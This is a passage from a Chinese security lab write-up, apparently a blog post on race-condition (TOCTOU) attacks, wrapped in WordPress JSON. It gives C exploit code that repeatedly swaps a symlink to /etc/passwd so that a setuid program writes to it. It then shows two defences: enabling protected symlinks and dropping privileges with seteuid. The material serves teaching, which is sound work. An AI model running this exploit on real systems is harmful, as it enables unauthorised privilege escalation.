src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"910\" height=\"770\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/@BQR0L0KI0@@9Z9BYCW2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-657\"  sizes=\"auto, (max-width: 910px) 100vw, 910px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E4%BB%BB%E5%8A%A1_2%EF%BC%9A%E6%94%B9%E8%BF%9B%E7%9A%84%E6%94%BB%E5%87%BB\"><\/span><strong>\u4efb\u52a1 2\uff1a<strong>\u6539\u8fdb\u7684\u653b\u51fb<\/strong><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%8E%9F%E7%90%86%EF%BC%9A\"><\/span>\u539f\u7406\uff1a<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/GYW0IHFAFUQXQ417RVQ.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"976\" height=\"165\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/GYW0IHFAFUQXQ417RVQ.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-658\"  sizes=\"auto, (max-width: 976px) 100vw, 976px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">attack2\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#define _GNU_SOURCE\n#include &lt;stdio.h>\n#include &lt;unistd.h>\nint main() {\n unsigned int flags = RENAME_EXCHANGE;\n unlink(\"\/tmp\/XYZ\");\n symlink(\"\/dev\/null\", \"\/tmp\/XYZ\");\n unlink(\"\/home\/monke1\/mylink\");\n symlink(\"\/etc\/passwd\", \"\/home\/monke1\/mylink\");\n \n while(1){\n renameat2(0, \"\/tmp\/XYZ\", 0, \"\/home\/monke1\/mylink\", flags);\n }\n return 0;\n}<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-2\"><\/span>\u5b9e\u9a8c\u8fc7\u7a0b<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u7f16\u8bd1\u540e\u6267\u884c\uff0c\u6b65\u9aa4\u4e0e\u4efb\u52a11\u4e00\u81f4\uff0c\u53ef\u4ee5\u53d1\u73b0\uff0c\u4efb\u52a12\u662f\u5fc5\u5b9a\u6210\u529f\u7684\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/TJE0D_PYNJL7YX2QOE1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"600\" height=\"332\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/TJE0D_PYNJL7YX2QOE1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-659\"  sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c\u53d1\u73b0\u4e00\u76f4\u672a\u6210\u529f\uff0c\u8bf7\u68c0\u67e5\u662f\u5426\u5173\u95ed\u4fdd\u62a4\uff0c\u5982\u679c\u8fd8\u4e0d\u884c\uff0c\u53ef\u80fd\u662fmylink\u635f\u574f\uff0c<strong>\u628a\u81ea\u5df1\u76ee\u5f55\u4e0b\u7684mylink\u5220\u9664\u91cd\u8bd5\u4e00\u4e0b<\/strong>\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E4%BB%BB%E5%8A%A1_3%EF%BC%9A%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6%EF%BC%9A%E7%B3%BB%E7%BB%9F%E8%87%AA%E5%B8%A6%E4%BF%9D%E6%8A%A4%E7%AD%96%E7%95%A5\"><\/span><strong>\u4efb\u52a1 3\uff1a\u4fdd\u62a4\u673a\u5236\uff1a\u7cfb\u7edf\u81ea\u5e26\u4fdd\u62a4\u7b56\u7565<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u6253\u5f00\u4fdd\u62a4\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo sysctl -w fs.protected_symlinks=1<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u65e0\u8bba\u662fattack\u8fd8\u662fattack2\uff0c\u90fd\u5931\u6548\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/CDL@4NWJGBRBZKOA@LSAG-1024x638.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"638\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/CDL@4NWJGBRBZKOA@LSAG-1024x638.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-660\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E4%BB%BB%E5%8A%A1_4%EF%BC%9A%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6%EF%BC%9A%E4%BD%BF%E7%94%A8%E6%9C%80%E5%B0%8F%E7%89%B9%E6%9D%83%E5%8E%9F%E5%88%99\"><\/span><strong><strong>\u4efb\u52a1 4\uff1a\u4fdd\u62a4\u673a\u5236\uff1a\u4f7f\u7528\u6700\u5c0f\u7279\u6743\u539f\u5219<\/strong><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u628a\u4efb\u52a13\u7684\u4fdd\u62a4\u5173\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo sysctl -w fs.protected_symlinks=0<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">vulp\u4ee3\u7801\u66f4\u65b0\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#include &lt;unistd.h&gt;\n\nint main()\n{\n    char* fn = \"\/tmp\/XYZ\";\n    char buffer&#91;60];\n    FILE* fp;\n    \n    uid_t ruid = getuid();\n    uid_t euid = geteuid();\n    seteuid(ruid);\n    \/* get user input *\/\n    scanf(\"%50s\", buffer);\n\n    if (!access(fn, W_OK)) {\n        fp = fopen(fn, \"a+\");\n        if (!fp) {\n            perror(\"Open failed\");\n            exit(1);\n        }\n        fwrite(\"\\n\", sizeof(char), 1, fp);\n        fwrite(buffer, sizeof(char), strlen(buffer), fp);\n        fclose(fp);\n    } else {\n        printf(\"No permission \\n\");\n    }\n    seteuid(euid);\n    return 0;\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6dfb\u52a0\u7684\u51e0\u884c\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>    uid_t ruid = getuid();\n    uid_t euid = geteuid();\n    seteuid(ruid);\n......\n    seteuid(euid);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">UID\u4e00\u822c\u8868\u793a\u8fdb\u7a0b\u7684\u521b\u5efa\u8005\uff0c\u800cEUID\u8868\u793a\u8fdb\u7a0b\u5bf9\u4e8e\u6587\u4ef6\u548c\u8d44\u6e90\u7684\u8bbf\u95ee\u6743\u9650\uff0c\u6240\u4ee5\u8fd9\u51e0\u884c\u4ee3\u7801\u7684\u610f\u601d\u5c31\u662f\uff0c\u5728\u6267\u884c\u5173\u952e\u4ee3\u7801\u524d\u4fee\u6539EUID\u4e3a\u8fdb\u7a0b\u521b\u5efa\u8005\u7684\u6743\u9650\uff0c\u5728\u5173\u952e\u4ee3\u7801\u7ed3\u675f\u540e\u6062\u590dEUID\u4e3a\u539f\u672c\u7684EUID\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7f16\u8bd1\uff0c\u5982\u679c\u65b0\u7684vulp\u7a0b\u5e8f\u6539\u4e86\u540d\u5b57\u7684\u8bdd\uff0c\u8bb0\u5f97\u4e5f\u8981\u5728target.sh\u4e2d\u6539\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/8@43QXWVVS4UM-1024x380.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"380\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/8@43QXWVVS4UM-1024x380.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-661\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u540c\u6837\u6b65\u9aa4\u8fd0\u884c\uff0c\u53d1\u73b0\u653b\u51fb\u5931\u8d25\uff0c\u5373\u4fdd\u62a4\u6210\u529f\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/WF2H76C66IUI47HZY4-1024x607.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"607\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/WF2H76C66IUI47HZY4-1024x607.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-662\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>\u5b9e\u9a8c\u539f\u7406 \u7ade\u6001\u6761\u4ef6\u6f0f\u6d1e\u539f\u7406 \u6761\u4ef6\u7ade\u4e89\uff08Race condition\uff09\u6f0f\u6d1e\u6316\u6398\u6280\u5de7\u53ca\u5b9e\u6218\u6848\u4f8b\u5168\u6c47\u603b-\u817e\u8baf\u4e91\u5f00\u53d1\u8005 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[24],"class_list":["post-647","post","type-post","status-publish","format-standard","hentry","category-21","tag-24"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/647","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=647"}],"version-history":[{"count":14,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/647\/revisions"}],"predecessor-version":[{"id":680,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/647\/revisions\/680"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=647"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=647"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=647"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}